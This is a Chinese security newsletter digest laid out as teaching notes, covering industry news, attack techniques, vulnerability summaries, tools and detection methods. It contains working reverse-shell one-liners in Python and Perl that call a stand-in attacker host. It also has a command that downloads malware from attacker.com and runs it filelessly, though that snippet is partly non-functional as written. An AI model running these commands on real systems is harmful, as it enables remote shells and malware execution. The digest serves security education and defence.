网络安全技术周刊（第288期）教学文档

一、安全资讯

2019年上半年上市网络安全公司经营简报

• 分析国内主要网络安全上市公司（如启明星辰、绿盟科技等）的财务表现
• 重点关注：营收增长率、净利润、研发投入占比、主营业务构成
• 行业趋势：云安全、大数据安全、态势感知等新兴领域增长显著

二、安全技术

1. 端对端加密的微信聊天插件

• 实现原理：基于Signal协议或PGP的加密方案
• 技术要点：
  • 消息在客户端加密，服务器只存储密文
  • 密钥管理方案（Diffie-Hellman密钥交换）
  • 防止中间人攻击的验证机制
• 实现方式：微信Xposed模块或小程序实现

2. 漏洞验证框架构思

• 框架设计要素：
  • 模块化漏洞检测组件
  • 支持多种协议和服务识别
  • 可扩展的漏洞验证脚本
  • 结果自动生成报告
• 参考模型：Metasploit框架架构

3. 反弹Shell技术总结（Part 2）

• 高级反弹Shell技术：

  # Python反弹Shell
  python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker_ip",port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  
  # Perl反弹Shell
  perl -e 'use Socket;$i="attacker_ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
  

• 绕过防火墙技术：
  • DNS隧道反弹
  • ICMP隧道反弹
  • HTTP/HTTPS协议封装

4. 大数据安全核心技术

• 关键技术点：
  • 分布式环境下的数据加密（同态加密、属性基加密）
  • 细粒度访问控制模型
  • 数据脱敏与匿名化技术（k-匿名、l-多样性）
  • 安全多方计算在数据分析中的应用

5. 越权漏洞自动化检测

• 检测方法：
  • 基于流量分析的权限校验点识别
  • 参数变异测试（修改用户ID、角色参数等）
  • 上下文相关的权限校验验证
• 工具实现思路：Burp插件或独立扫描器

6. GraphQL查询漏洞

• 常见漏洞类型：
  • 过度数据查询导致信息泄露
  • 嵌套查询导致的拒绝服务
  • 缺乏速率限制的暴力枚举
• 防护措施：
  • 实现查询深度限制
  • 添加查询复杂度分析
  • 敏感字段权限控制

三、运维安全

1. 企业安全运营体系构建

• 关键组件：
  • SIEM系统部署与规则优化
  • 威胁情报整合与应用
  • 自动化响应流程设计
  • 红蓝对抗常态化机制
• 成熟度模型：从基础监控到预测性防御的演进路径

2. Linux无文件执行ELF

• 技术实现：

  # 使用memfd_create
  fd=$(memfd_create my_prog)
  curl -s http://attacker.com/malware | tee /proc/self/fd/$fd
  chmod +x /proc/self/fd/$fd
  /proc/self/fd/$fd &
  

• 检测方法：
  • 检查/proc/*/maps中的异常内存映射
  • 监控memfd_create系统调用
  • 行为分析：无磁盘写入的直接执行

四、移动安全

IPA破解器技术

• 实现原理：
  • 利用动态库注入（DYLIB）绕过签名校验
  • 修改Mach-O文件头信息
  • 重签名技术（使用开发者证书）
• 防护措施：
  • 越狱检测机制
  • 代码混淆与反调试
  • 关键逻辑服务器端校验

五、漏洞分析

1. Pulse Secure SSL VPN RCE漏洞链

• 攻击链条：
  1. 利用CVE-2019-11510获取凭证文件
  2. 解密admin密码
  3. 通过Web界面上传恶意模板
  4. 触发模板解析实现RCE
• 影响范围：Pulse Connect Secure 9.0RX系列

2. FastJson拒绝服务漏洞

• 漏洞原理：
  • 特殊构造的JSON字符串导致无限递归解析
  • 内存耗尽导致服务崩溃
• 修复方案：升级至1.2.59+版本，启用SafeMode

3. Logitech Unifying接收器漏洞

• 漏洞细节：
  • 无线协议加密缺陷（AES密钥可预测）
  • 固件更新无签名验证
• 攻击场景：HID注入攻击，键盘记录

六、工具介绍

1. JWTPyCrack

• 功能特点：
  • JWT弱密钥爆破
  • 支持HS256/HS384/HS512算法
  • 字典攻击与暴力破解
• 使用示例：

  python jwtpycrack.py -t <token> -d wordlist.txt
  

2. SharPersist

• 持久化技术实现：
  • 注册表Run键修改
  • 计划任务创建
  • WMI事件订阅
  • 启动文件夹操作
• 检测方法：监控Windows持久化位置变更

七、恶意分析

1. DNS隧道检测

• 特征指标：
  • 异常长域名查询（>60字符）
  • TXT记录频繁查询
  • 非常规子域名层级（如a.b.c.d.example.com）
  • 查询频率异常（固定间隔请求）

2. 绕过机器学习恶意软件检测

• 对抗技术：
  • 特征空间扰动（API调用序列插入无害操作）
  • 可执行文件节区填充垃圾数据
  • 动态行为延迟触发
• 防御方案：集成多种检测模型，结合静态动态分析

3. 恶意PowerShell检测

• 深度学习方法：
  • LSTM模型分析脚本逻辑流
  • 注意力机制识别关键恶意调用
  • 基于行为的动态分析补充

八、取证分析

1. 互联网公司数据安全保护

• 最佳实践：
  • 数据分级分类标准
  • 最小权限访问控制
  • 全链路加密方案
  • 异常访问行为监测

2. 基于欺骗防御的入侵检测

• 实现方案：
  • 部署高交互蜜罐
  • 伪造凭证与诱饵文件
  • 攻击者行为画像构建

九、比赛与实战

SUCTF 2019 Writeup

• 典型题目分析：
  • Web题目：反序列化漏洞利用
  • Pwn题目：ROP链构造绕过ASLR
  • Crypto题目：AES-CBC位翻转攻击
  • Misc题目：隐写术与流量分析结合

十、编程技术

Linux无文件执行进阶

• 技术变种：

  // 使用dlopen从内存加载库
  void *handle = dlopen_buffer(library_data, library_size, RTLD_LAZY);
  

• 检测增强：
  • 内核模块监控异常内存执行
  • eBPF跟踪动态链接过程

附录：资源链接

1. 大数据安全技术
2. DNS隧道检测
3. Pulse Secure漏洞分析
4. Unifying漏洞详情